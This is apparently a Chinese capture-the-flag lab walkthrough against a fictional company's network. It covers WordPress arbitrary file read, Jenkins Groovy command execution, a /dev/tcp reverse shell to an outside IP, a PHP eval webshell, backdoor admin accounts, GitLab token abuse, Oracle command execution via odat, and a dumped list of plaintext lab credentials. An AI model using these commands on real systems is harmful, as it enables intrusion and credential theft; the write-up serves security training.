Privilege
Privilege
在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司XRShop的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入XRShop的内部网络,寻找潜在的弱点和漏洞,并通过滥用Windows特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有4个Flag,分布于不同的靶机。
剧情
第1关
请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins。
第2关
管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。
第3关
攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。
第4关
尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。
tag
Wordpress、Gitlab、Kerberos、内网渗透、Privilege Elevation
信息收集
./fscan.exe -h 39.99.158.160 -nobr
1 | start infoscan |
WordPress先用wpscan扫一下wpscan --url http://39.99.158.160
1 | [+] URL: http://39.99.158.160/ [39.99.158.160] |
没啥收获
读取一下www.zip备份文件,先在config.php里面找到了数据库的账号密码,尝试navicat连接,但是限制只能本地连接
1 | define( 'DB_USER', 'root' ); |
然后去尝试登录爆破
http://39.99.158.160/wp-login.php
无果
最后在tool目录下找到content-log.php可以进行文件读取
http://39.99.158.160/tools/content-log.php
1 | <?php |
搜索jenkins了解到jenkins初始密码在:./jenkins/secrets/initialAdminPassword
进行读取logfile=C:\ProgramData\Jenkins\.jenkins\secrets/initialAdminPassword
得到默认密码510235cf43f14e83b88a9f144199655b
进行登录,可以命令执行
先尝试反弹shellprintln "bash -i >& /dev/tcp/118.195.156.48/4444 0>&1".execute().text
失败
也可以写shell,但是不知道WordPress源代码的路径,需要找一下println "cmd /c dir C:\\".execute().text
发现phpstudy,在WWW下写马println "cmd /c echo ^<?php eval(\$_POST[0]);?^> > C:\\phpstudy_pro\\WWW\\1.php".execute().text
注意cmd的转义符是^
是Windows环境,当前用户还是system权限,可以直接添加管理员用户的,在这里添加管理员用户println "net user xianxin pass@123 /add".execute().textprintln "net localgroup administrators xianxin /add".execute().text
远程过去读取到flag01flag01: flag{bca01e52-ed34-48eb-83b0-601aa2d4dfd8}
然后扫一下内网
1 | C:\Users\xianxin\Desktop\upload>ipconfig |
./fscan.exe -h 172.22.14.0/24
1 | start infoscan |
1 | 172.22.14.7 本机 |
这里先获取gitlab的api token
在配置文件credentials.xml找到明文
如何从credentials.xml中解密Jenkins密码 - bestsrcprintln(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
获得token
glpat-7kD_qLH2PiQv_ywB9hz2
还可以利用Jenkins的测试api功能用vps获得token

然后获取一下GitLab里面的库curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"
1 | [{"id":6,"description":null,"name":"Internal Secret","name_with_namespace":"XRLAB / Internal Secret","path":"internal-secret","path_with_namespace":"xrlab/internal-secret","created_at":"2022-12-25T08:30:12.362Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"git@gitlab.xiaorang.lab:xrlab/internal-secret.git","http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/internal-secret.git","web_url":"http://gitlab.xiaorang.lab/xrlab/internal-secret","readme_url":null,"avatar_url":null,"forks_count":0,"star_count":0,"last_activity_at":"2022-12-25T08:30:12.362Z","namespace":{"id":8,"name":"XRLAB","path":"xrlab","kind":"group","full_path":"xrlab","parent_id":null,"avatar_url":null,"web_url":"http://gitlab.xiaorang.lab/groups/xrlab"},"_links":{"self":"http://gitlab.xiaorang.lab/api/v4/projects/6","issues":"http://gitlab.xiaorang.lab/api/v4/projects/6/issues","merge_requests":"http://gitlab.xiaorang.lab/api/v4/projects/6/merge_requests","repo_branches":"http://gitlab.xiaorang.lab/api/v4/projects/6/repository/branches","labels":"http://gitlab.xiaorang.lab/api/v4/projects/6/labels","events":"http://gitlab.xiaorang.lab/api/v4/projects/6/events","members":"http://gitlab.xiaorang.lab/api/v4/projects/6/members","cluster_agents":"http://gitlab.xiaorang.lab/api/v4/projects/6/cluster_agents"},"packages_enabled":true,"empty_repo":false,"archived":false,"visibility":"private","resolve_outdated_diff_discussions":false,"container_expiration_policy":{"cadence":"1d","enabled":false,"keep_n":10,"older_than":"90d","name_regex":".*","name_regex_keep":null,"next_run_at":"2022-12-26T08:30:12.373Z"},"issues_enabled":true,"merge_requests_enabled":true,"wiki_enabled":true,"jobs_enabled":true,"snippets_enabled":true,"container_registry_enabled":true,"service_desk_enabled":false,"service_desk_address":null,"can_create_merge_request_in":true,"issues_access_level":"enabled","repository_access_level":"enabled","merge_requests_access_level":"enabled","forking_access_level":"enabled","wiki_access_level":"enabled","builds_access_level":"enabled","snippets_access_level":"enabled","pages_access_level":"private","operations_access_level":"enabled","analytics_access_level":"enabled","container_registry_access_level":"enabled","security_and_compliance_access_level":"private","releases_access_level":"enabled","environments_access_level":"enabled","feature_flags_access_level":"enabled","infrastructure_access_level":"enabled","monitor_access_level":"enabled","emails_disabled":null,"shared_runners_enabled":true,"lfs_enabled":true,"creator_id":2,"import_url":null,"import_type":null,"import_status":"none","open_issues_count":0,"ci_default_git_depth":20,"ci_forward_deployment_enabled":true,"ci_job_token_scope_enabled":false,"ci_separated_caches":true,"ci_opt_in_jwt":false,"ci_allow_fork_pipelines_to_run_in_parent_project":true,"public_jobs":true,"build_timeout":3600,"auto_cancel_pending_pipelines":"enabled","ci_config_path":null,"shared_with_groups":[],"only_allow_merge_if_pipeline_succeeds":false,"allow_merge_on_skipped_pipeline":null,"restrict_user_defined_variables":false,"request_access_enabled":true,"only_allow_merge_if_all_discussions_are_resolved":false,"remove_source_branch_after_merge":true,"printing_merge_request_link_enabled":true,"merge_method":"merge","squash_option":"default_off","enforce_auth_checks_on_uploads":true,"suggestion_commit_message":null,"merge_commit_template":null,"squash_commit_template":null,"issue_branch_template":null,"auto_devops_enabled":true,"auto_devops_deploy_strategy":"continuous","autoclose_referenced_issues":true,"keep_latest_artifact":true,"runner_token_expiration_interval":null,"permissions":{"project_access":null,"group_access":{"access_level":50,"notification_level":3}}},{"id":4,"description":null,"name":"XRAdmin","name_with_namespace":"XRLAB / XRAdmin","path":"xradmin","path_with_namespace":"xrlab/xradmin","created_at":"2022-12-25T07:48:16.751Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"git@gitlab.xiaorang.lab:xrlab/xradmin.git","http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/xradmin.git","web_url":"http://gitlab.xiaorang.lab/xrlab/xradmin","readme_url":"http://gitlab.xiaorang.lab/xrlab/xradmin/-/blob/main/README.md","avatar_url":null,"forks_count":0,"star_count":0,"last_activity_at":"2023-05-30T10:27:31.762Z","namespace":{"id":8,"name":"XRLAB","path":"xrlab","kind":"group","full_path":"xrlab","parent_id":null,"avatar_url":null,"web_url":"http://gitlab.xiaorang.lab/groups/xrlab"},"_links":{"self":"http://gitlab.xiaorang.lab/api/v4/projects/4","issues":"http://gitlab.xiaorang.lab/api/v4/projects/4/issues","merge_requests":"http://gitlab.xiaorang.lab/api/v4/projects/4/merge_requests","repo_branches":"http://gitlab.xiaorang.lab/api/v4/projects/4/repository/branches","labels":"http://gitlab.xiaorang.lab/api/v4/projects/4/labels","events":"http://gitlab.xiaorang.lab/api/v4/projects/4/events","members":"http://gitlab.xiaorang.lab/api/v4/projects/4/members","cluster_agents":"http://gitlab.xiaorang.lab/api/v4/projects/4/cluster_agents"},"packages_enabled":true,"empty_repo":false,"archived":false,"visibility":"private","resolve_outdated_diff_discussions":false,"container_expiration_policy":{"cadence":"1d","enabled":false,"keep_n":10,"older_than":"90d","name_regex":".*","name_regex_keep":null,"next_run_at":"2022-12-26T07:48:16.788Z"},"issues_enabled":true,"merge_requests_enabled":true,"wiki_enabled":true,"jobs_enabled":true,"snippets_enabled":true,"container_registry_enabled":true,"service_desk_enabled":false,"service_desk_address":null,"can_create_merge_request_in":true,"issues_access_level":"enabled","repository_access_level":"enabled","merge_requests_access_level":"enabled","forking_access_level":"enabled","wiki_access_level":"enabled","builds_access_level":"enabled","snippets_access_level":"enabled","pages_access_level":"private","operations_access_level":"enabled","analytics_access_level":"enabled","container_registry_access_level":"enabled","security_and_compliance_access_level":"private","releases_access_level":"enabled","environments_access_level":"enabled","feature_flags_access_level":"enabled","infrastructure_access_level":"enabled","monitor_access_level":"enabled","emails_disabled":null,"shared_runners_enabled":true,"lfs_enabled":true,"creator_id":2,"import_url":null,"import_type":null,"import_status":"none","open_issues_count":0,"ci_default_git_depth":20,"ci_forward_deployment_enabled":true,"ci_job_token_scope_enabled":false,"ci_separated_caches":true,"ci_opt_in_jwt":false,"ci_allow_fork_pipelines_to_run_in_parent_project":true,"public_jobs":true,"build_timeout":3600,"auto_cancel_pending_pipelines":"enabled","ci_config_path":null,"shared_with_groups":[],"only_allow_merge_if_pipeline_succeeds":false,"allow_merge_on_skipped_pipeline":null,"restrict_user_defined_variables":false,"request_access_enabled":true,"only_allow_merge_if_all_discussions_are_resolved":false,"remove_source_branch_after_merge":true,"printing_merge_request_link_enabled":true,"merge_method":"merge","squash_option":"default_off","enforce_auth_checks_on_uploads":true,"suggestion_commit_message":null,"merge_commit_template":null,"squash_commit_template":null,"issue_branch_template":null,"auto_devops_enabled":false,"auto_devops_deploy_strategy":"continuous","autoclose_referenced_issues":true,"keep_latest_artifact":true,"runner_token_expiration_interval":null,"permissions":{"project_access":null,"group_access":{"access_level":50,"notification_level":3}}},{"id":3,"description":null,"name":"Awenode","name_with_namespace":"XRLAB / Awenode","path":"awenode","path_with_namespace":"xrlab/awenode","created_at":"2022-12-25T07:46:43.635Z","default_branch":"master","tag_list":[],"topics":[],"ssh_url_to_repo":"git@gitlab.xiaorang.lab:xrlab/awenode.git","http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/awenode.git","web_url":"http://gitlab.xiaorang.lab/xrlab/awenode","readme_url":"http://gitlab.xiaorang.lab/xrlab/awenode/-/blob/master/README.md","avatar_url":null,"forks_count":0,"star_count":0,"last_activity_at":"2022-12-25T07:46:43.635Z","namespace":{"id":8,"name":"XRLAB","path":"xrlab","kind":"group","full_path":"xrlab","parent_id":null,"avatar_url":null,"web_url":"http://gitlab.xiaorang.lab/groups/xrlab"},"_links":{"self":"http://gitlab.xiaorang.lab/api/v4/projects/3","issues":"http://gitlab.xiaorang.lab/api/v4/projects/3/issues","merge_requests":"http://gitlab.xiaorang.lab/api/v4/projects/3/merge_requests","repo_branches":"http://gitlab.xiaorang.lab/api/v4/projects/3/repository/branches","labels":"http://gitlab.xiaorang.lab/api/v4/projects/3/labels","events":"http://gitlab.xiaorang.lab/api/v4/projects/3/events","members":"http://gitlab.xiaorang.lab/api/v4/projects/3/members","cluster_agents":"http://gitlab.xiaorang.lab/api/v4/projects/3/cluster_agents"},"packages_enabled":true,"empty_repo":false,"archived":false,"visibility":"private","resolve_outdated_diff_discussions":false,"container_expiration_policy":{"cadence":"1d","enabled":false,"keep_n":10,"older_than":"90d","name_regex":".*","name_regex_keep":null,"next_run_at":"2022-12-26T07:46:44.614Z"},"issues_enabled":true,"merge_requests_enabled":true,"wiki_enabled":true,"jobs_enabled":true,"snippets_enabled":true,"container_registry_enabled":true,"service_desk_enabled":false,"service_desk_address":null,"can_create_merge_request_in":true,"issues_access_level":"enabled","repository_access_level":"enabled","merge_requests_access_level":"enabled","forking_access_level":"enabled","wiki_access_level":"enabled","builds_access_level":"enabled","snippets_access_level":"enabled","pages_access_level":"private","operations_access_level":"enabled","analytics_access_level":"enabled","container_registry_access_level":"enabled","security_and_compliance_access_level":"private","releases_access_level":"enabled","environments_access_level":"enabled","feature_flags_access_level":"enabled","infrastructure_access_level":"enabled","monitor_access_level":"enabled","emails_disabled":null,"shared_runners_enabled":true,"lfs_enabled":true,"creator_id":2,"import_url":null,"import_type":"gitlab_project","import_status":"finished","open_issues_count":0,"ci_default_git_depth":20,"ci_forward_deployment_enabled":true,"ci_job_token_scope_enabled":false,"ci_separated_caches":true,"ci_opt_in_jwt":false,"ci_allow_fork_pipelines_to_run_in_parent_project":true,"public_jobs":true,"build_timeout":3600,"auto_cancel_pending_pipelines":"enabled","ci_config_path":null,"shared_with_groups":[],"only_allow_merge_if_pipeline_succeeds":false,"allow_merge_on_skipped_pipeline":null,"restrict_user_defined_variables":false,"request_access_enabled":true,"only_allow_merge_if_all_discussions_are_resolved":false,"remove_source_branch_after_merge":true,"printing_merge_request_link_enabled":true,"merge_method":"merge","squash_option":"default_off","enforce_auth_checks_on_uploads":true,"suggestion_commit_message":null,"merge_commit_template":null,"squash_commit_template":null,"issue_branch_template":null,"auto_devops_enabled":true,"auto_devops_deploy_strategy":"continuous","autoclose_referenced_issues":true,"keep_latest_artifact":true,"runner_token_expiration_interval":null,"permissions":{"project_access":{"access_level":40,"notification_level":null},"group_access":{"access_level":50,"notification_level":3}}},{"id":2,"description":"Example GitBook site using GitLab Pages: https://pages.gitlab.io/gitbook","name":"XRWiki","name_with_namespace":"XRLAB / XRWiki","path":"xrwiki","path_with_namespace":"xrlab/xrwiki","created_at":"2022-12-25T07:44:18.589Z","default_branch":"master","tag_list":[],"topics":[],"ssh_url_to_repo":"git@gitlab.xiaorang.lab:xrlab/xrwiki.git","http_url_to_repo":"http://gitlab.xiaorang.lab/xrlab/xrwiki.git","web_url":"http://gitlab.xiaorang.lab/xrlab/xrwiki","readme_url":"http://gitlab.xiaorang.lab/xrlab/xrwiki/-/blob/master/README.md","avatar_url":"http://gitlab.xiaorang.lab/uploads/-/system/project/avatar/2/gitbook.png","forks_count":0,"star_count":0,"last_activity_at":"2022-12-25T07:44:18.589Z","namespace":{"id":8,"name":"XRLAB","path":"xrlab","kind":"group","full_path":"xrlab","parent_id":null,"avatar_url":null,"web_url":"http://gitlab.xiaorang.lab/groups/xrlab"},"_links":{"self":"http://gitlab.xiaorang.lab/api/v4/projects/2","issues":"http://gitlab.xiaorang.lab/api/v4/projects/2/issues","merge_requests":"http://gitlab.xiaorang.lab/api/v4/projects/2/merge_requests","repo_branches":"http://gitlab.xiaorang.lab/api/v4/projects/2/repository/branches","labels":"http://gitlab.xiaorang.lab/api/v4/projects/2/labels","events":"http://gitlab.xiaorang.lab/api/v4/projects/2/events","members":"http://gitlab.xiaorang.lab/api/v4/projects/2/members","cluster_agents":"http://gitlab.xiaorang.lab/api/v4/projects/2/cluster_agents"},"packages_enabled":true,"empty_repo":false,"archived":false,"visibility":"private","resolve_outdated_diff_discussions":null,"container_expiration_policy":{"cadence":"1d","enabled":false,"keep_n":10,"older_than":"90d","name_regex":".*","name_regex_keep":null,"next_run_at":"2022-12-26T07:44:18.627Z"},"issues_enabled":true,"merge_requests_enabled":true,"wiki_enabled":false,"jobs_enabled":true,"snippets_enabled":false,"container_registry_enabled":false,"service_desk_enabled":false,"service_desk_address":null,"can_create_merge_request_in":true,"issues_access_level":"enabled","repository_access_level":"enabled","merge_requests_access_level":"enabled","forking_access_level":"enabled","wiki_access_level":"disabled","builds_access_level":"enabled","snippets_access_level":"disabled","pages_access_level":"public","operations_access_level":"enabled","analytics_access_level":"enabled","container_registry_access_level":"disabled","security_and_compliance_access_level":"private","releases_access_level":"enabled","environments_access_level":"enabled","feature_flags_access_level":"enabled","infrastructure_access_level":"enabled","monitor_access_level":"enabled","emails_disabled":null,"shared_runners_enabled":true,"lfs_enabled":true,"creator_id":2,"import_url":null,"import_type":"gitlab_project","import_status":"finished","open_issues_count":0,"ci_default_git_depth":20,"ci_forward_deployment_enabled":true,"ci_job_token_scope_enabled":false,"ci_separated_caches":true,"ci_opt_in_jwt":false,"ci_allow_fork_pipelines_to_run_in_parent_project":true,"public_jobs":true,"build_timeout":3600,"auto_cancel_pending_pipelines":"enabled","ci_config_path":null,"shared_with_groups":[],"only_allow_merge_if_pipeline_succeeds":false,"allow_merge_on_skipped_pipeline":null,"restrict_user_defined_variables":false,"request_access_enabled":false,"only_allow_merge_if_all_discussions_are_resolved":false,"remove_source_branch_after_merge":true,"printing_merge_request_link_enabled":true,"merge_method":"merge","squash_option":"default_off","enforce_auth_checks_on_uploads":true,"suggestion_commit_message":null,"merge_commit_template":null,"squash_commit_template":null,"issue_branch_template":null,"auto_devops_enabled":true,"auto_devops_deploy_strategy":"continuous","autoclose_referenced_issues":true,"keep_latest_artifact":true,"runner_token_expiration_interval":null,"permissions":{"project_access":{"access_level":40,"notification_level":null},"group_access":{"access_level":50,"notification_level":3}}},{"id":1,"description":"This project is automatically generated and helps monitor this GitLab instance. [Learn more](/help/administration/monitoring/gitlab_self_monitoring_project/index).","name":"Monitoring","name_with_namespace":"GitLab Instance / Monitoring","path":"Monitoring","path_with_namespace":"gitlab-instance-23352f48/Monitoring","created_at":"2022-12-25T07:18:20.914Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"git@gitlab.xiaorang.lab:gitlab-instance-23352f48/Monitoring.git","http_url_to_repo":"http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git","web_url":"http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring","readme_url":null,"avatar_url":null,"forks_count":0,"star_count":0,"last_activity_at":"2022-12-25T07:18:20.914Z","namespace":{"id":2,"name":"GitLab Instance","path":"gitlab-instance-23352f48","kind":"group","full_path":"gitlab-instance-23352f48","parent_id":null,"avatar_url":null,"web_url":"http://gitlab.xiaorang.lab/groups/gitlab-instance-23352f48"},"_links":{"self":"http://gitlab.xiaorang.lab/api/v4/projects/1","issues":"http://gitlab.xiaorang.lab/api/v4/projects/1/issues","merge_requests":"http://gitlab.xiaorang.lab/api/v4/projects/1/merge_requests","repo_branches":"http://gitlab.xiaorang.lab/api/v4/projects/1/repository/branches","labels":"http://gitlab.xiaorang.lab/api/v4/projects/1/labels","events":"http://gitlab.xiaorang.lab/api/v4/projects/1/events","members":"http://gitlab.xiaorang.lab/api/v4/projects/1/members","cluster_agents":"http://gitlab.xiaorang.lab/api/v4/projects/1/cluster_agents"},"packages_enabled":true,"empty_repo":true,"archived":false,"visibility":"internal","resolve_outdated_diff_discussions":false,"container_expiration_policy":{"cadence":"1d","enabled":false,"keep_n":10,"older_than":"90d","name_regex":".*","name_regex_keep":null,"next_run_at":"2022-12-26T07:18:21.108Z"},"issues_enabled":true,"merge_requests_enabled":true,"wiki_enabled":true,"jobs_enabled":true,"snippets_enabled":true,"container_registry_enabled":true,"service_desk_enabled":false,"can_create_merge_request_in":true,"issues_access_level":"enabled","repository_access_level":"enabled","merge_requests_access_level":"enabled","forking_access_level":"enabled","wiki_access_level":"enabled","builds_access_level":"enabled","snippets_access_level":"enabled","pages_access_level":"private","operations_access_level":"enabled","analytics_access_level":"enabled","container_registry_access_level":"enabled","security_and_compliance_access_level":"private","releases_access_level":"enabled","environments_access_level":"enabled","feature_flags_access_level":"enabled","infrastructure_access_level":"enabled","monitor_access_level":"enabled","emails_disabled":null,"shared_runners_enabled":true,"lfs_enabled":true,"creator_id":1,"import_status":"none","open_issues_count":0,"ci_default_git_depth":20,"ci_forward_deployment_enabled":true,"ci_job_token_scope_enabled":false,"ci_separated_caches":true,"ci_opt_in_jwt":false,"ci_allow_fork_pipelines_to_run_in_parent_project":true,"public_jobs":true,"build_timeout":3600,"auto_cancel_pending_pipelines":"enabled","ci_config_path":null,"shared_with_groups":[],"only_allow_merge_if_pipeline_succeeds":false,"allow_merge_on_skipped_pipeline":null,"restrict_user_defined_variables":false,"request_access_enabled":true,"only_allow_merge_if_all_discussions_are_resolved":false,"remove_source_branch_after_merge":true,"printing_merge_request_link_enabled":true,"merge_method":"merge","squash_option":"default_off","enforce_auth_checks_on_uploads":true,"suggestion_commit_message":null,"merge_commit_template":null,"squash_commit_template":null,"issue_branch_template":null,"auto_devops_enabled":true,"auto_devops_deploy_strategy":"continuous","autoclose_referenced_issues":true,"keep_latest_artifact":true,"runner_token_expiration_interval":null,"permissions":{"project_access":null,"group_access":null}}] |
传个stowaway挂个代理windows_x64_agent.exe -l 44444 -s 123./linux_x64_admin -c 39.99.158.160:44444 -s 123
有敏感信息的只有xradmin.git和internal-secret.git
然后把xradmin.git库clone下来git -C ./code/ clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账密
1 | ┌──(root㉿kali)-[/home/…/ruoyi-admin/src/main/resources] |
windows上挂个代理windows_x64_agent.exe -l 44445 -s 123./windows_x64_admin.exe -c 39.99.158.160:44445 -s 123
但是MDUT用不了,navicat也连不上不知道为什么
最后用odat工具直接利用,命令无回显,加用户proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user xianxin pass@123 /add'proxychains odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup Administrators xianxin /add'
rdp上去获取flag02
flag02: flag{c09e8308-596a-4e16-b31c-06179b256baf}
然后用gitlab的api获取internal-secret.git的内容curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects/6/repository/tree"
1 | [{"id":"fec38069bee81dbfb4dba3b5d9b62f26b07bf42f","name":"credentials.txt","type":"blob","path":"credentials.txt","mode":"100644"}] |
读取credentials.txt的内容curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects/6/repository/files/credentials.txt"
没成功,查一下git api文档,发现需要指定refcurl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects/6/repository/files/credentials.txt?ref=main"
1 | {"file_name":"credentials.txt","file_path":"credentials.txt","size":7839,"encoding":"base64","content_sha256":"62cf3a7351fb1208717b789b143da2ecec099123666c97733b3959d1f72aa1b9","ref":"main","blob_id":"fec38069bee81dbfb4dba3b5d9b62f26b07bf42f","commit_id":"c84d6e33dfa9250a3dd106de60c6cd1c6383ff2e","last_commit_id":"c84d6e33dfa9250a3dd106de60c6cd1c6383ff2e","execute_filemode":false,"content":"Machine | Username | Password
-----------------------------
XR-0776 | huangmin | 8I5VZpg4Mf
XR-0777 | zhangrong | cHY716Zauf
XR-0778 | liying | JKe5IFEasb
XR-0779 | zhaoli | bYaT8pnoQ7
XR-0780 | zhangyan | EyHJTxY5LA
XR-0781 | zhoujing | 7AJXxfY9Oi
XR-0782 | liuying | 3Q29kxupsU
XR-0783 | wanghao | APQ5Sxvd0n
XR-0784 | wangqiang | WebaBkv4lh
XR-0785 | wanglu | 5CtYa9XmZW
XR-0786 | zhaoyong | FbquAxEwJf
XR-0787 | zhangli | pCuPEbYl8B
XR-0788 | wangning | JL6By9mUDP
XR-0789 | wangyu | WVIrHMljRh
XR-0790 | yangli | hNuHLKxU6m
XR-0791 | zhangqian | e7RSK4wnLV
XR-0792 | lishuai | ymjieu5FzP
XR-0793 | yangliu | QXfZmcSV97
XR-0794 | wangying | 51Je2P8iFB
XR-0795 | chenjie | jFGv3tKSp9
XR-0796 | yangyong | wafYnDCJxv
XR-0797 | lipeng | YCo0bBQrNJ
XR-0798 | lixin | pT1DUgbflC
XR-0799 | liukai | EgywVJW2Un
XR-0800 | machao | H1XqljRYgD
XR-0801 | lijia | vxjUbe1K7V
XR-0802 | zhangping | lPq6LmHh8x
XR-0803 | zhanghui | Z4mjpzt281
XR-0804 | zhangwen | hT0wp2xKdJ
XR-0805 | wangmin | 6ykzR2AuKh
XR-0806 | chenlin | QPEFJ7c8io
XR-0807 | chenjuan | kAsC9UvBfP
XR-0808 | lining | 4QgT65dbMz
XR-0809 | wangwei | MZ3ehq8Gd0
XR-0810 | zhangnan | 1uXL5jvblq
XR-0811 | wangxia | K04W23mUXx
XR-0812 | zhangyu | CiycwuGxHE
XR-0813 | chenchen | q5GPSZv2rB
XR-0814 | wangbing | tHgvbCRj5F
XR-0815 | lilin | bTrGF97RMJ
XR-0816 | zhangling | T5HfUYwh8n
XR-0817 | chenling | 2MH0sXUvnN
XR-0818 | yangmei | jJ4iKS6WMN
XR-0819 | liuqiang | LRptNZWUAh
XR-0820 | lihong | TXbnO76oNg
XR-0821 | lilei | qvaN1rK0AY
XR-0822 | wanghuan | X3iFcTyOmv
XR-0823 | wangxin | ADSMd4l5w8
XR-0824 | yangping | QRiej9HcTK
XR-0825 | lijie | Az9OG4ibCH
XR-0826 | wangqian | PB9KAtTjWC
XR-0827 | liping | R8qFTAQV63
XR-0828 | liuhui | YOzAaNq8Io
XR-0829 | zhangming | 4p08EcFzsm
XR-0830 | zhangying | MHPwUoQImi
XR-0831 | libo | E23ztI9LUe
XR-0832 | liuqin | bsmrRkLoqT
XR-0833 | wangchao | ACz5Q73oUa
XR-0834 | liuli | x2XuZsIJtm
XR-0835 | yangwei | wKYHlDXkmq
XR-0836 | wangyan | yg1HXxWu2s
XR-0837 | wangjian | zUo7vHb8OY
XR-0838 | zhangbin | r8m01CcS4f
XR-0839 | wangli | Im8WSeGlEf
XR-0840 | wangdan | qIvBQ0p1kP
XR-0841 | liuxia | B69KWIACtq
XR-0842 | zhangrui | u2KVeb683m
XR-0843 | wangdong | rEtTIU8BLD
XR-0844 | wangting | Jkunlz29eg
XR-0845 | zhangjian | Zyp9lDorhg
XR-0846 | wanghua | 74ksE5BmHc
XR-0847 | liyan | rEOAslLQR0
XR-0848 | liufeng | LUZcuoFxfG
XR-0849 | zhangbo | XHvBV4ujQc
XR-0850 | liuming | jBWDJfZ93c
XR-0851 | liujia | PmpXKckTs9
XR-0852 | chentao | 2sHutpN8iY
XR-0853 | zhangting | e3wg2nIu7Z
XR-0854 | liushuai | iY2fbz1HQB
XR-0855 | lijing | MCIcl6sgNQ
XR-0856 | wangbin | msxNSIlj8G
XR-0857 | lijian | IUilEz5SYQ
XR-0858 | zhouyong | v36CT5ILMU
XR-0859 | liudan | AKkCpEnLvx
XR-0860 | yangbin | yE9G3VSnsO
XR-0861 | liupeng | ryLTgeDZhI
XR-0862 | chenjun | kngEGACsQh
XR-0863 | wangbo | FbK6fsiPBn
XR-0864 | libin | b2BcHWCEYO
XR-0865 | zhaowei | 2hrJ64tgqG
XR-0866 | lijuan | XBkgKysUbz
XR-0867 | chenchao | oDU7vPZ84B
XR-0868 | wangming | vKpV13DemJ
XR-0869 | lifang | TbzE3tWF4y
XR-0870 | wangtao | yaxpPWRkiB
XR-0871 | liufang | Fde8Gt1bmq
XR-0872 | litao | VCurpwXIA4
XR-0873 | yangling | PInqR2xBK0
XR-0874 | yangxue | sxjQ75mLzK
XR-0875 | liubin | sWeharCdXE
XR-0876 | yangyang | FZ6r8LMA5U
XR-0877 | xuwei | 0B4Du1h7zV
XR-0878 | chenyong | Folq5iOnej
XR-0879 | yangbo | ZlIs9LYNeW
XR-0880 | zhanghua | oFHU1Z0VKM
XR-0881 | zhaomin | IafjNO3Hib
XR-0882 | chenping | qJQXKkVpFP
XR-0883 | zhanglei | 61kcLxqTiu
XR-0884 | zhangliang | j5Ls2Hub3i
XR-0885 | zhangtao | 5PAcQGy461
XR-0886 | zhangxue | eY3DrwsijQ
XR-0887 | liqian | 7jHvompSTN
XR-0888 | liwei | wjTFE8x0IY
XR-0889 | chenbin | sm7lR86Y4p
XR-0890 | zhangyun | mWzkyDJMRq
XR-0891 | wangxue | pfR5VoUZO1
XR-0892 | zhouwei | oN3Sd60khs
XR-0893 | likai | QwzvK1qm4j
XR-0894 | gaofeng | 5fQvjFU1uN
XR-0895 | wanglei | 1apTkBr9Y6
XR-0896 | lijun | cVBI8nsCwA
XR-0897 | liuwei | 0VBecvT4Au
XR-0898 | wanggang | rCGB4wFh5X
XR-0899 | liuping | UQaX9DBLbJ
XR-0900 | zhangning | SLqJiM1QTy
XR-0901 | libing | ZgXlj6VKPu
XR-0902 | zhangchao | tSBpVjiYh8
XR-0903 | zhangxia | hRlYXkqceC
XR-0904 | limin | s3I4lFctoE
XR-0905 | liulei | V5rsKkeWSJ
XR-0906 | wangling | lL7QinBydG
XR-0907 | zhangfei | jO1xtU6hP4
XR-0908 | chenlong | wKDFqcOfmp
XR-0909 | liufei | 36BjIW1VgH
XR-0910 | chenli | eYiOh4jWUq
XR-0911 | chenyan | oad8rYbwfs
XR-0912 | chenpeng | US2Am1iIk8
XR-0913 | wangrui | DTZ1xgz3cS
XR-0914 | zhangfeng | SHxNByGuwX
XR-0915 | yanglin | riwW3UkI4o
XR-0916 | liutao | HFVUOZEPpL
XR-0917 | liyong | wZyEuVvOjQ
XR-0918 | wangna | 6i840wmbv1
XR-0919 | wangjuan | fJv4PKASzb
XR-0920 | wanghui | 7qT4wcMSGv
XR-0921 | lilong | pHTkl3dEIU
XR-0922 | lili | 0LRQxIuV9t
XR-0923 | zhangshuai | wSbEajHzZs
XR-0924 | zhangfan | TrfCMlmY59
XR-0925 | liujing | gtOslNQDB2
XR-0926 | liuqian | tqX9DVLTHI
XR-0927 | yangfang | sa18OlILmB
XR-0928 | chenqiang | VEKnlwgFpU
XR-0929 | liqiang | pZbj7z9H8v
XR-0930 | yangjun | pqahdFK2PZ
XR-0931 | chenbo | 78SmUu1gfi
